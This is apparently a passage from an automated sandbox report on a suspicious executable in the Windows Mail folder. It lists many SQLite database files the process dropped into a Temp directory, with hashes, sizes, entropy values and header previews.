SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fhZPgqYw5u

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g7G4AL2N2r

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gGhdHAtKfP

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gOFuU355pQ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gfiLkCMkZd

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gg4gXU0NDS

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gkBfuGQnFM

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gu66zBthHe

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gw8ICUg29Y

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h36p2BYdY0

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i57XMDgJOJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iBnz9io25K

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iEp9TuLtQn

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iKm1hRgJfQ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\il56FG9D9a

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\imcLbGh6KK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j3P5u7ggGT

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j4D6ab8hkN

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j8cqc4oLYr

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jAKJprOKbJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jKHOxXa0aq

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jKTJ1KKIrA

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jLOPJHkQYY

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jj4gH6XqIv

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jpmbMmDNec

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k0JMjm7fi3

Download File

